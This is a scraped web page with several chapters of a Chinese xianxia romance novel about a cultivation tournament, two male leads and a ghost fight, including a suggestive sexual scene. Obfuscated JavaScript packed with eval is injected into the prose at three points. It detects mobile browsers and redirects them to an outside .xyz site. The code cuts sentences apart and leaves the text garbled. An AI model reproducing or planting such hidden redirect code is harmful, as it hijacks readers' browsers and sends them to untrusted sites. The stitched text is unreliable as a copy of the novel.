众人往那发声地一看,登时缄默了片刻。原来是一队身着白衣灰纹的弟子围坐在一方桌前,腰间缠着的玉带做工别致,似乎能音隐约看到‘陲云’二字。 正是那薄州陲云宗弟子! 为首的弟子时宴焱曾见过的,名唤陈启,是那陲云宗少宗旁边的一条走狗。平日里在陲云边那地方嚣张惯了,这一次来到这天才云集的冀州,虽说天赋排不上号,但脾气绝对能算得上一等一的大。 陈启方才听了散客的话,也不顾这里已然不是他能为虎作伥的薄州了,重重的拍了下桌面,腾的起身,对着散客的鼻子就是一通骂: “你这人懂什么?是那宴焱不识好歹,不从了我们少宗主。再说了,那废柴体质我们是有目共睹,这一回发生的事情就只是他从别地找来的旁门左道,等对上了那蜀山云梧定然会被戳破的——” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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此话一出登时惊起千层浪。 “是他?!” “他就是那宴焱?!!” “长得果真是俊俏……” 无数惊呼此起彼伏,茶楼中人的视线汇聚一堂,交汇在那端坐二楼的身影上。 察觉道骤然汇聚的视线,宴焱将手轻轻放下,微抬眼帘,目光扫向出声的陲云宗等人,忽地笑了。 “真是冤家路窄。” 他恝然出声,只是眸光略有些戏谑。 “你们不说还好,一说我就想起来了,我还有一笔账要同你们的少宗主算。” 那陲云宗人梗着脖子,虽说执剑的手抖若筛糠,但还是嘴硬道:“你等着,别太得意了,我们少宗主会在台上收拾你的……” “是么?”宴焱颔首。 “好巧,我也正有此意。回去和你们少宗交代交代,这些日子里洗干净脖子,下辈子嘴上把好门。” 23.第 23 章 说完这番话,宴焱也不打算再在这里逗留,饮尽了杯中茶水,‘噔’的一声放下茶杯,便起身离去,徒留茶楼中一众暗中叫好的散客。 陲云宗弟子在陲云边做惯了地头蛇,这般受辱大概还是第一回,此刻个个面色发白,咬着牙,剑都有些握不稳了,只得低着头,狼狈的搀扶着快要归西的陈启向外走去。 * 宴焱回去之后不敢耽搁,争分夺秒的巩固境界。 经过两天没日没夜的修炼,原本他尚且是筑基初期的修为又一连跳了两个档次,跃到了筑基后期。 长长的吐出口浊气后,宴焱猛然睁眼,抬起手,细细感受掌心中氤氲的灵力气流。 他原本能够调用的灵力层级只能堪堪达到化神中期,而今境界升了之后调动的灵力便能达到化神后期的水准,但一次出手之后就算是溟和修君两班倒,需要间隔的时间也要几天之久。 还是不够强。 宴焱拧眉。但修炼一事急不得,他只好静下心来,掐了净水决,将周身的污浊除去。又整了整衣衫,下床,‘吱呀’一声推开了客房的木门。 宴焱定的这间客房是临街的二楼,一推开门,外头的阳光骤然倾泻而下,直晃眼,再一打眼,便能瞧见主街上重重叠叠的人头正缓慢的朝前移动着。 今儿个是六界证道大会的开幕典礼,会场设置在火翎峰的偌大的广场之上。 由于人数限制,像是宴焱这般的散修是无法进入主会场,只得观看由蜀山剑宗设置的分影石的画面。 正巧宴焱打算透透风,便倚在木栏边,有一搭没一搭的瞧着主街尽头露天分影石的画面。 却见火翎峰上那可容纳数万人的广场之上人山人海,坐满了了各界的门派世家的适龄天骄,人鬼妖魔,应有尽有。密密麻麻的人身组成了如同海般壮阔的波浪,因着地势向上攀升,一圈圈扩大。 此刻他们齐齐抬头,注视着中心台柱上矗立的人影。 ——白发银须,道骨仙风,正是云梧的师傅,蜀山剑宗的掌门人,怀远剑尊。 那老头长得怪严肃的,捋了捋胡须,往台上一走,零帧起手开始背诵蜀山剑宗祖师爷的语录,什么剑修应当心怀苍生,剑修应当不怕吃苦,剑修应当收心收情…… 说到激昂处,怀远剑尊那长须一抖又一抖,眼角甚至要泛起泪花。 “想当初,祖师爷刻苦多年才研究出惊世绝艳的蜀山剑法,才有了而今剑派的繁荣昌盛。但可惜后人无能,过了三万年才出了我徒儿这么一个能通习蜀山剑法之人……当真是惭愧惭愧。” 这倒也不怪其余剑修,蜀山剑法是出了名的晦涩难懂,天下除却那不知道存不存在的蜀山剑派祖师爷,便也只有云梧一人能耍得出这剑法。 有人亲眼目睹过云梧用这剑法,据说气贯长虹,有虎啸龙吟之势,恢宏不可挡。 宴焱侧眸,将视线落向高台之上的云梧。 今日的云梧倒是和记忆中的不大一样,没了那日莫名其妙的羞涩腼腆,多了几分凌然冷漠。 一身玄色窄袖劲装,薄情眸微垂眼帘,抱剑而立,眉眼淡漠,活脱脱一派原著中不苟言笑的剑修男主模样。 光风霁月,高不可攀。 这会儿云梧像是听见了怀远剑尊的提及,众目睽睽之下,他微微抬起头,风轻云淡的冲着矗立前派的各界门派掌门人略一拱手,算是应了剑尊的话。 街上传来闲碎交谈。 “云少宗果真是宠辱不惊,换我上那万人瞩目的高台早就腿软了。” “你哪能和他比?人家可是天命之子,又有天赋又努力。” “也是也是,九阳剑骨的天之骄子怎么会是我等能够比拟的。听说他前这小半个月从未合眼,都在通宵达旦的通读剑法呢……” 碎语千万在万人的会场内不间断的涌起,只是作为那话题中心的云梧反而淡淡的垂下眼,不置一词,眉间略带倦色。 小半月未合眼是真,通宵达旦也是真。 只是…… 云梧不着痕迹的摩挲着腰间缠着的红绸,愁思更甚。 通宵念念的不是剑法,而是阿火的名讳。 一夜之后微红的眼眶并非用功所致,而是偷偷私下哭了许久的产物。 他回去之后因着思念太甚,便将那晚所有的衣物的妥帖的收好,夜夜要抱着睡,连烛火之上挂的红绸也不放过。那可是见证他和阿火初夜的红绸呢,特殊的很。 云梧一回宗便亲手将那红绸改成了剑穗的模样,贴身带着,不仅睹物思人,寓意也吉祥红火。当初还想着没准不一会儿就能寻到阿火了呢。 可直到了今儿早上,云梧抱着那叠衣物嗅了又嗅,阿火的气息已经淡得近乎要闻不出来了,外头却还是一点儿阿火的消息也没有。 阿火的味道是极淡的竹木香,清雅淡漠,像极了他那一滩平静如水的墨瞳。 那时云梧抱着那寸薄薄的雪肩吻了又吻,一遍遍确认着阿火的气息,妄图把这味道刻入骨髓。本以为今后的每一天早晨都能伴着这竹木香醒来,不曾想…… 思即此,云梧深深吐了口气,又缓慢眨了眨眼,企图逼退眼眶中骤然涌起的酸意。 宴焱也听到了街上传来的闲言碎语,略微一挑眉,又打量了一番云梧的面庞,似乎的确是比半个月前多了几分沧桑稳重,心下也多了几分胁迫感。 自己虽说进步的快,但云梧也是天赋卓绝之人,这些日子里也不知道功力又涨了几分。更何况那蜀山剑法威力极大,当年云梧尚且是在筑基期时便能越界击杀化神期的修士,遑论而今他已经是金丹期。 看来这一次的大会之争,险之又险。 宴焱抿唇,垂下眼帘,眉眼间愈发凝重。 怀远剑尊的一通慷慨激昂的陈词之后便是三清宫叩心台等轮番致辞,叩心台承接第一场关卡,所以便由问心尊者负责简单介绍下比赛的规则。 这一次的六界证道大会赛制略微和以前有些不同,第一轮和第二轮是个人赛,分别是问心关和问武关。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15283884|166460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>问心关如其名,设在叩心台的天机阁,是测试修士的气运和天赋。修仙之途,决定上限并非努力,而往往是天赋气运。况且此关卡还能筛选出一批走了旁门左道进阶的修士,颇为重要。 问武关则是传统的一对一比武,考量的是修士的综合武力。 而第三轮则是团体赛,需要各个门派组队进入归墟秘境进行角逐,最后由积分最高的那位修士夺得魁首。 简单交代下来,宴焱听了个七七八八,心中也有了点数。 大会很快便闭幕,腾出充裕的时间让修士筹备明日的第一轮关卡。 时间倒是过得很快,眼见着日头从西落又从东起,一晃眼便到了六界瞩目的证道大会开场。 这一次主办各派十分大手笔,一挥手便筹建了个大型的传送阵法,使得参赛者能够在瞬息之间从火翎峰下的主峰传送至叩心台。 数万年轻修士齐聚一堂,密密麻麻的人头攒动,各个脸上写满了意气风发,尽管绝大多数中的修士会在第一轮的关卡便被无情的筛选,但还是有前仆后继的人如同潮水一般涌向叩心台。 白光一晃,随着一声隆隆声响,传送阵被瞬间启动。 却见那叩心台矗立于雪山之上,银白一线,隐约勾出山峦起伏曼妙的轮廓。此刻凌高九重天,遥遥山路之上人山人海,布满了前来求心问道的年轻修士。 为了避免麻烦,宴焱这会儿又带上了一帷幕,此刻人潮汹涌,衣料攒动间,只得模模糊糊的瞧见远方的一些轮廓。 天机阁是叩心台的秘地,往日里无人敢闯。 只因它的名字中虽有个‘阁’字,实则是仙界最高峰上旷阔雪白的断崖,地势向上,横出一处指天的断崖。六界苍生皆化作了细小不可见的蝼蚁,被高耸恢弘的山峦压在脚下。 站上那天机阁,便是要仰天问道,意指苍穹。 此刻断崖之上落满厚雪,极高的地势使得山峦越过了重重云海,狰狞的露出一角来。等待叩心问道的队伍犹如伶仃的小蚂蚁,攀附着厚重壮阔的山体,缓缓向上蠕动。 随着一悠长婉转的‘叮’声,山巅铜铙被敲响。矗立的白衣命修们齐齐一捏诀,符阵大开,一盏盏御道莲灯从阵中浮现,缓缓飘向苍穹。 辽阔的天幕之上,是万盏荧光烁烁的莲灯。问心尊者先一步上前,站在那断崖尖上。白袍滚动间,数万向上奔涌的莲灯中有一盏受到感应,逆流缓缓下潜,停在了问心尊者的指尖。 没一会儿,那盏莲灯晃出一道闪亮的白光。问心尊者见状,转头同其余门派长老点了点头,示意没有问题。 参赛修士无一不是屏息细看,唯恐错漏了什么要害的地方。 “这问心尊者不愧是叩心台多年来的天骄,这莲灯的白光竟然如此鼎盛夺目。” 有人开口了,话语中满是艳羡。 回话的人似乎不是第一次参赛了,笑了声道: “那你一定是没见过那蜀山剑宗云梧的莲灯,那才叫一个耀人夺目,没人敢与之争锋。” 24.第 24 章 气运和天赋都是修士实力的一部分。按理来说,能够引气入体成为修士就已经是六界绝大部分生灵无法做到的了。可人外有人,天外有天,即使是六界生灵中万里挑一的修仙的根骨,也还会有层级的划分,也还会有气运的争夺。 伴随着一众修士的目光,第一个跃跃欲试的修士站上了台,腰间的玉佩昭示着他出身六界的某个一流世家。他似乎是第一次参赛,走上了断崖尖后便抬起了手,可细看之下,指尖还是略微颤抖。 一盏莲灯缓缓下潜,慢吞吞的停靠在了他的指尖。 随着几息之后,在年轻修士忐忑不安的目光之下,那莲灯闪了闪,光亮微弱,但好在还是能瞧得清楚。 见那光亮并不明显,年轻修士肉眼可见的绷紧了身体,紧张的抿唇,抬头回望向评议的诸位大能。 却见问心尊者微不可查的点了点头,说了句‘留’。听了这话,那年轻修士骤然松了口气,大喜过望,冲着问心尊者躬身拜谢。 这便是过了? 宴焱挑了挑眉。 队伍很快的前进,打头阵的一连好几个都是些叫得上名号的世家子弟。可一连过了数十个,包括方才第一个上前的年轻修士在内,仅有三人的光亮亮度是通过了及格线,其余的莲灯要么是光亮微弱,要么便是闪烁两下便熄灭了,全部都被无情的刷了下来,无缘后续的关卡。 眼见着队伍重新向前挪动,轮到了一散修,许是前面的选拔过于严苛,他走上前去的时候腿肚打颤,面色略有些发白。 他顿了顿,像是犹豫的往大能的方向瞥了一眼,又迅速的收回目光,咬了咬牙,抬起了手。 莲灯摇摇晃晃,就像无数次重复过的那样,停了下来。 只不过这一次,莲灯停在散修的指尖后便沉寂了下来,暗沉沉的一点儿光亮也无。任凭那散修满头大汗,拼命的调整触碰的角度却丝毫没有一点儿光。 “够了。” 问心尊者攥紧了眉,止住了散修的动作,沉声道。 听见了问心尊者发话,那散修的脸‘唰’的一下变得惨白,手上直打哆嗦。 如若作为能够引气入体的修士气运尚且不能使得莲灯闪烁,只有一种原因,那便是这散修采用了什么旁门左道的邪术,使得功力能在短时间内上涨,达到报名参赛的底线——也便是练气后期的修为。 这种行径是不正之风,为天道所不喜,因此气运也会随之减少。 往年也不是没有心存侥幸之人前来参赛,只是没想到大会才进行了不到半个时辰便出现了这般的人。 问心尊者抬起手,叹了口气,略微摇了摇头。 六界证道大会有明文规定,若是遇到此类投机取巧之徒,可视情节严重与否,采取禁赛百年抑或是废去根骨等不一的惩罚。 这会儿这散修意识到自己被识破之后,战战兢兢的便开始跪地求饶,大喊大哭:“求尊者饶我一回,我是初犯我是初犯,不会有下次了……” 世人都知道问心尊者有着菩萨心肠,耳根子软,看着这散修跪地痛哭的模样,抬起手的动作也顿了顿。 一旁的怀远剑尊注意到好友骤然顿住的动作,轻轻冲着问心尊者摇了摇头,示意他切莫气性用事。 接收到怀远剑尊暗示性的目光,问心尊者又是长叹了口气,手下动作再也不停,捏诀向下压去。 一道凌厉的罡风过后,那散修求饶的话语一顿,猛然吐出口血,那原本筑基初期的境界赫然跌到了练气中期! “看在你是初犯的份上便不毁去你根骨,只是这通过邪门法子提升的修为要作废,下次不要再犯了。” 问心尊者沉声道。 这已然是从轻发落,散修忍着浑身剧痛,强行拜谢过问心尊者,便被一众执法弟子带了下去,只留下皑皑白雪之上一道刺目拖行的血痕。 有了散修的前车之鉴,后面几次测试虽然通过率还是极低,但好在没有再出现方才的状况。 队伍逐渐前进,终于轮到了蜀山剑宗的队伍。 虽说蜀山剑宗乃是天下第一宗,但也从来不端着第一宗的架势,弟子们参赛都是依着普通修士的标准来的,一样在雪山冰地里矗立排队了许久。 这会儿人群缓缓向前移动,那打头的赫然换作了蜀山剑宗的玄色弟子服,剑修向来喜欢穿这些耐磨耐脏的深色服饰,黑压压的一片,在雪白断崖之上颇为显眼。 一道身影从一众侧立弟子之中缓缓踱步而出。肩宽腰窄,挺立颀长,黑发由一玉封高高束起,面色冷凝,眉间略有倦色。 正是云梧。 他那玄色长靴缓缓踏上厚雪,微微陷下一寸,抱至胸前的冷剑剑柄之上系着一红穗,轻晃,颇为显眼。 方才还略有些嘈杂的队伍顿时安静,无数目光瞬间汇聚于云梧的身上。 不少人是第一回来,未曾见过传说中天命之子的风采,这回都卯足了劲抻着脖颈往前凑。 怀远剑尊也微微坐直了身子,凝神瞧着云梧的动作。 问心尊者前几日卜卦算出天下或许要出现两个天命之子,叫怀远剑尊心下也多了几分担忧。 这会儿他的心微微吊起,就怕是预言成真,那宴焱果真是来分气运的另一个天命之子,让云梧原本大好的气运减少…… 云梧漠然的垂眸。 作为这几日六界话题风暴中心的人物,他倒是风轻云淡,伸出手,由着那盏莲灯缓缓向下,在万众瞩目之下缓缓下潜至他的指尖。 剑修的手宽厚,一把便拖住了御道莲灯的灯底。 那莲灯落下后便静止不动,缓缓的闪了闪。 不仅仅是怀远剑尊的呼吸随之一窒,往前坐直了身体,围观众人也一并聚精会神的望去。 忽地,云梧猛的抬起了眼帘,像是察觉到了什么,也不顾他正在接受御道莲灯的检验了。他焦急望向那一片黑压压的修士,目光锐利的扫过,妄图在里边寻到熟悉的身影。 那红绸被施加了密法,若是靠近了所要寻找之人,便会隐隐发出震颤。 方才云梧碰触到御道莲灯的刹那,不仅仅是御道莲灯颤动,那剑柄之上的红穗也隐隐作颤,尽管震颤的时间只有细微的刹那,却是切切实实的发生了。 阿火在这里?! 云梧的呼吸都有些发颤了,望向人群的同时,他的另一只手反射性的包裹住红穗,企图再在它的身上发掘出一丝响动。 可刚才震颤却犹如镜中花水中月,只是短暂的震了一会,便不见了踪影。 心跳登时如鼓般躁动,云梧的舌根发干,心思已然乱做一团。 就在下一秒,御道莲灯忽地烁出了一道锃亮的白光,光芒大作,隐隐有金光浮现,赫然是与前几年别无二致的天命之象! 见了那熟悉的白光,怀远剑尊这才猛然松了口气,随即抚掌大笑,颇有些揶揄的望向一旁的问心尊者: “看来你的卜卦也不是一直都准的嘛,我徒儿这气运,哪像是还有另一个天命之子分他气运的模样?” 问心尊者倒是没说话,只是浅笑着,摇了摇头。 虽说有些人已然不是第一次参赛,但再一次见证这堪称奇观的景象,还是啧啧称奇。 “果真是天命之子,旁人若是能亮出如同烛火般的模样,就已然是不易了……” “第一天才,名不虚传!” “看来这魁首之位,应当还是落在云少宗的手里了。” 窃窃私语如风起,可云梧却没有任何心思去再做面子功夫,他一把推开了御道莲灯,焦急的朝着人群走去。 他的步伐很大,随着云梧的走近,静待的人群很快的散开一条道来。 云梧的目光捉急的扫过,对上了一双双倾慕又畏惧的眼,有男有女,有老有少,却唯独没有那双日思夜想的凤眸。 人太多了。 云梧的手隐隐作颤,半晌深吸了口气,强迫自己冷静下来。 第一关卡才进行了不到两个时辰,后边还有数以万计的修士在排队候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15289262|166460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。红穗能感应到的范围很广,尚且并不清楚人在哪里,如若现在大张旗鼓的寻找,说不准还会把阿火吓到。 况且若是出现在这的修士,那多半都是为了参赛而来。只要自己在这里候上一天,总会等到阿火的。 思即此,云梧也彻底冷静了下来。抿唇,转身朝着备好的席位行去。 三青鸟倒是一直在座位上等着云梧,这会儿看热闹不嫌事大的还在嗑瓜子,察觉到云梧周遭的低气压,聪明如她,一会儿就猜到了发生了什么。 “哟哟哟,你老婆在附近啊?” 云梧掀起眼皮,蔫蔫的‘嗯’了一声,只是视线一刻不离那长龙般的队伍,修长的手指紧紧捏着那红穗,呼吸急促。 三青鸟见师弟这副模样,也不好再开口叨扰,只是磕着瓜子的动作愈发来劲了。 第六感告诉她,一会儿准有好戏看。 随着日头缓缓上升,时间转眼便到了午时。 一上午的时间过去,除却碰到御道莲灯那会儿红穗细微的震颤之外,其余时间红穗都安静至极,仿佛那一次的颤抖只是云梧的错觉。 有了希望却又失望的感觉是最磨人的。 饶是云梧心思沉稳,但每每遇到与阿火有关的事情时,他总是把持不住自己浮躁的心思,恨不得马上就把叩心台挖地三尺,将人找出来。 阿火这些日子会受伤吗,会受人欺负吗,会因为找不到自己委屈得大哭吗…… 这些愁绪登时挤满了云梧的脑海,叫他坐立不安。 队伍中人一个接着一个的减少,时间过得格外的快,宴焱眼见着前面的队伍到头,立马就要轮到自己了。 前面还剩最后一人时,有侍立一侧的白衣命修先行前来,站在宴焱跟前,轻声询问他的名讳。 在听到面前带着帷幕的散修轻声报出‘宴焱’二字后,那白衣命修的神情登时变了变,反射性的抬头,对上问心尊者的探究的目光。 问心尊者心领神会,冲着一旁的怀远剑尊低声道:“下一个便是那宴焱。” 怀远剑尊听了他这话,挑了挑眉,视线扫向那戴着帷幕的身影。 既然他徒儿的气运不曾减少,所谓算出的另一位‘天命之子’也应该不过是个意外。 说不准就是个走了邪门歪道的散修,故意用了什么秘法一时半会篡改了命数,但御道莲灯乃是天道分身所化,这般小动作自然不可能逃过御道莲灯的法眼。 三青鸟耳朵尖,自然也听到了问心尊者同怀远剑尊的悄悄话,这会儿立刻来了精神,就要去戳云梧。 “喂,小师弟,下一个就要到你那宿敌了。” 云梧还在留神红穗的状况呢,自然没心思管那宿敌,况且那人包裹得严严实实,一副阴鸷的邪修样,云梧只是瞥了眼就不想再看,这会儿没好气的‘嗯’了声,就算是回话了。 三青鸟幸灾乐祸道: “那可是命中注定要和你一生相缠的宿敌!” 看热闹不嫌事大,三青鸟又着重补了句: “一生相缠哦!你真不好好看看?坊间你俩的名讳都是一并提起的呢,有你就有他,有他就有你……” 云梧眉头一皱,顿觉恶心。 许是最近愁思甚重,他回的话也怨气十足,就差甩袖子走人去找阿火了: “什么一生相缠??我不信命!” “天道如若安排我要与他一生相缠,我就在这把他斩了,叫那什劳子天道一天天尽安排这些阿猫阿狗惹人……” 那‘烦’字还在留在齿间呢,尚未咬下。 却见山巅一道清风拂过,吹起了那宿敌的帷幕,露出半寸美人面。 如潭乌瞳就这么对上了云梧的眼。 那眸子的模样,云梧即便是粉身碎骨都忘不掉。 他在无数个梦怀中细细摩挲过它的形状,也在无数个日夜中念想着它,近乎要痴狂。 ——沉瞳乌睫,凤眸涟涟。 那正是他日思夜想的阿火。 50-60 第51章 欲色 系统也很奇怪。 但它搜查了很久都没查出原因, 最后只能忿忿的踢了两脚主机,嘟嘟囔囔骂了句‘死人机’。 云梧同宴焱贴得很近,他身上发着烫, 炽热透过那一寸相贴的肌肤, 递到宴焱的身上。 宴焱想躲, 却躲不开。 他的肩头还搭着云梧毛茸茸的脑袋, 整个人被罩得严丝合缝,逃不开一寸。 宴焱往左挪,云梧也追着往左靠, 宴焱往右挪, 云梧也立刻朝着右边移了一段。 宴焱:…… “好了好了。我知道了。” 宴焱开口安抚,与此同时,他又不着痕迹的往旁边缩了缩。 细小的动作很快被云梧察觉,下一秒,他大手一伸,不由分说的扣住宴焱的肩头, 往怀里摁, 又垂下头, 鼻尖蹭动着,深深的又吸了口竹香, 好像怎么也闻不够。 “焱焱……能不能看看我。” 粗重的喘息喷洒耳畔,气息不稳, 可语调带着浓重的欲色。 云梧的目光太过灼热, 烈烈的, 无法忽视。 宴焱躲避不及,只得硬着头皮和云梧对上视线。 薄情眼因欲念染上红潮,乌瞳沉沉如黑潭, 似餍足,似侵略,无端端让宴焱觉得…… 危险。 宴焱被自己的想法惊得一愣。 云梧使蜀山剑法时他没怕过,只觉得有挑战性,从没觉得危险过。 可如今,单单这一眼,却让宴焱有了种奇异的、似要被入侵的危机感。 扣住肩膀的手指缓缓收束,将二人的距离越拉越近。 不对—— 明明是宴焱先起的头,可如今的局势却忽地脱离了他的掌控,有什么他意料之外的东西正在悄然发酵。 总觉得再继续下去会发生什么不得了的事情…… 耳垂不受控的染上薄红,奇怪的求生欲让宴焱不停的想往外逃。 又被按住了。 “好了好了好了好了。我真的知道了。” 宴焱眼神飘忽,语气也有点埋怨。 云兄总是执着让他知道做什么? ……不应该和他道侣说说。 但不可否认的是,云梧的确是个很好学的学生,箐云剑柄被盘磨搓揉,灼热被挤在二人相拥的那寸小空间里,热气蒸腾,灼得宴焱也红了脸。 肩膀上扣着的力道不容忽视,宴焱几次尝试逃离无果,只好认命的留在原地。 时间过的是如此漫长。 宴焱坐如针毡,可云梧偏偏许久都没弄完,火热的气流胡乱撺掇着,不仅仅是云梧的脸烧得赤红,宴焱也好不到哪去。 他们打坐的位置靠角落,一旁连成一圈的水渠滴滴答答的响,有些乳白色的水珠从钟乳石上缓缓滴落,溅入水面。 有几滴调皮的,便落在了宴焱的乌色长睫上,此时正顺着侧脸缓缓滴落。 终于一声沉闷的喘息,云梧的手一松,由着薄汗缓缓滴落。 “焱焱对不起,是不是弄脏你了。” 终于回过神,云梧的眼神也清明了几分,视线徘徊在宴焱细长的手指上,顿了顿。 那是一双极为漂亮素净的手,指尖泛着健康的粉,可惜有着几滴干涸的乳色水珠捣乱,黏糊糊的,看起来颇为狼狈可怜。 “没事,我用净水诀擦擦。” 宴焱也注意到自己一片狼籍的手。 除却手的部分,布料也不同程度的被揉皱弄脏,腻在肌肤之上。 云梧的目光不着痕迹的扫了又扫那溅上乳白的地方,喉头微滚。 焱焱无论何时,似乎都是一派正襟危坐的模样,何时有过刚刚那样脸红失态的时候? 突兀溅上的水花是乳白色的,对比起红褙黑衫显眼极了。 ……就像是强行拽着天上的谪仙落凡尘,逼得焱焱展露出不为人知的一面。 云梧轻轻喘着气,薄情眼餍足的眯起。 焱焱。 他在心底又珍重的咀嚼了几遍,怎么也念不够,怎么也想不够。只是眼神里欲念横生,也不像在咀嚼名字,倒像在咀嚼眼前这人。 宴焱被兄弟盯得发毛。 终于结束了,桎梏的力道也弱下,宴焱终得以脱身,他略微往旁一靠,顿了顿,企图另起话题让越来越奇怪的气氛恢复正常。 “那个……既然好了,云兄你就快打坐吧。” 说着,宴焱又往旁边挪了挪。 “早点恢复我们也早点继续。” 热气还没拉远,就又忽地靠近。 云梧循着宴焱挪动的方向,也挪动了点距离。 二人瞬间又贴得极近。 “焱焱。” 云梧食髓知味,得了好处,于是说起谎来一点也不打草稿。 “我们不是好兄弟吗?既然是好兄弟,为什么要离我这么远呢?” “我觉得有焱焱在身边的话,打坐事半功倍呢。” 这么说着,那只大掌也学着宴焱平时的模样,象征性的拍了拍肩头,可落手时,指腹又贪恋的揉了揉薄肩。 宴焱:…… 总觉得兄弟有哪里怪怪的。 但也难为宴焱一个直男,任由他怎么想也想不出到底怪在哪。 云梧的动作确实是兄弟之间会做的,可是不知道为何,当他真正和宴焱做出这样亲密的举动,不躲宴焱,甚至还一反常态的开始尝试接近宴焱时,宴焱却忽然觉得浑身不自在了。 以前一碰就羞的云兄已经死了,现在坐在宴焱面前的,是进化版的铁兄弟·云兄! 找不出反驳的话,宴焱只能任由云梧随便勾肩搭背,过了好一会,他才犹豫的道: “那好吧云兄,那你快些打坐……” 得到了宴焱的首肯,云梧唇角一勾,薄情眼微眯,夸赞道: “焱焱对兄弟真义气。” 说完这话,他便顺理成章的贴着宴焱坐下,二人紧挨着,云梧的腿抵着宴焱的,肌肤相贴,衣料摩挲。 一人打坐一人看守,宴焱也不差这点时间,便睁着眼,眼睁睁的瞧着云梧越贴越近。 先是紧绷的腿部肌肉贴了上来,再者就是肩膀顶住了宴焱的右肩头,而后越来越近,云梧微微侧了一寸身躯,下一秒,虬结绷紧的胸部肌肉也贴了上来。 宴焱走不得,更说不得,只能任由云梧贴着他。 时间一分一秒的流淌,宴焱只觉得时间被拉得很长很长,背后兄弟的胸肌难以忽视,让他几个时辰下来都是坐立不安。 好在云梧记得时间紧迫,加之修士体格健壮,打坐的时间没有太久。 约莫过了两个时辰左右,后头贴合的滚烫身躯骤然撤离,宴焱不着痕迹的松了口气。 “我们往左边的通道走吧。” 石洞两侧的通道看上去没有太大的差别。 但两个男主现在都在这,宴焱也不怕找不到正确的道路,看着左边的道顺眼,干脆便往左走。 云梧当然没有异议,立刻跟了上去。 又是一处狭长又窄的通道,重复的石壁画像贯彻了整条道,一眼望去,前方黑洞洞的一片,好像没有尽头。 通道里很安静,除却细微的水滴声,只有二人交叠的呼吸。 宴焱云梧一前一后的走,忽地,一只手从宴焱的后方探来,轻轻的握住了宴焱的左手,不轻不重的捏了捏。 云梧的掌很热,又粗粝,磨着只会让宴焱觉得痒。 抽了抽手,没抽动。 “焱焱,握紧我的手。我怕我们走丢了。” 偏偏云梧还特不要脸的找了个冠冕堂皇的借口,低下头,就着宴焱的耳朵说话,热气喷洒。 宴焱有点儿无语的往后瞥了眼。 通道就这么窄,笔直得一眼望到头,怎么走丢??? 可下一秒,又探来只手,不要脸的握住了宴焱的右手。 宴焱有点儿恼了,心想着云兄怎么忽然变得这么粘人了,刚想开口,却忽地蹙起眉。 不对劲。 那只手阴冷潮湿,手指细长,根本不是云梧的手!! 宴焱再一眨眼,左手握着的大掌已然消失不见!取而代之的是另一双森冷泛凉的鬼手! 溟瞬间从鬓发间窜了出来,将脑袋盘绕在宴焱手心,下一刻,宴焱握拢手掌,青筋绷起,灵力附着在腕间,狠狠往外一拽—— 那鬼爪触及阳间修士的灵力便‘刺啦’的开始冒烟。 后方传来一声尖细,如同指甲盖摩擦地面的响动。那鬼显然是被伤着了。 宴焱飞快转过身。 出现在眼前的不是云梧,而是一个身高两米,身体颀长的鬼骸! 它很瘦,又出奇的高,此时微微佝偻着背部,青紫的皮贴着嶙峋的骨,没有五官,面部一片平整,像是被人铲过一样。 身上没有一点儿灵力波动,也不会呼吸,怪不得能在神不知鬼不觉间接近宴焱! 宴焱拧眉,一时半会看不出它的境界。 被宴焱灵力所伤的它凄厉的叫着,声音难听至极,只是一声,宴焱的眉头就皱得更紧了。 灵鞭在瞬间甩开,银白色的鞭身绷出一道弯弓状的曲线,鞭尾对住了那鬼东西的脖子,狠戾的抽了下去!! 鬼骸的行动速度很快,两条诡异扭曲的腿迅速交替跑动,甚至无视了袭来的骨鞭,朝着宴焱猛的扑来—— “为为为为什么,,,” 它叫着,可惜喉部肌肉萎缩,说出来的话含糊不清,只能听个大概。 ‘啪’的一声脆响,骨鞭精准命中了它的喉咙。 再是‘刺啦’一声,尖刺扯开一片青紫色的肌肤。 鬼骸不会流血,只有雾状的气不断从撕裂可怖的伤口冒出,深可见骨。 方才的一握手让宴焱恶心坏了,于是那一鞭子用了十成的力道,抽得鬼骸的半边脖子都缺了一块,只得歪着脑袋,继续不死心的疯狂靠近。 “他可以牵牵牵牵牵……手。我我哦哦不行啊啊。” 宴焱眉头一皱,被它这问题气笑了。 云梧是他铁哥们,它算什么东西?敢胡乱摸他的手?? 第52章 想你 鬼骸不死心的往前又踉跄着走了几步, 但迎接它的是宴焱不客气的又一鞭子。 灵力裹住骨鞭尾,看准了上一鞭子落下的缺口,就着那, 重重的的又抽了下去。 鬼骸没想防御, 反而不怕死的往前凑, 自然没躲过宴焱那一鞭子。 尖钩嵌入皮肉, 往外一扯—— 鬼骸还想说些什么,可惜鞭子来得太快太急,一下儿就把它的另半边脖子抽得分离。 啪嗒一声脆响, 鬼骸头颅坠落, 置身下高高耸立的身体摇摇欲坠,苦苦支撑了几息后,也轰然一声倒在了地上。 宴焱冷眼见这东西不再动弹,这才抬起了眼,飞快的扫视周边。 云梧呢??!! 没有,还是没有。 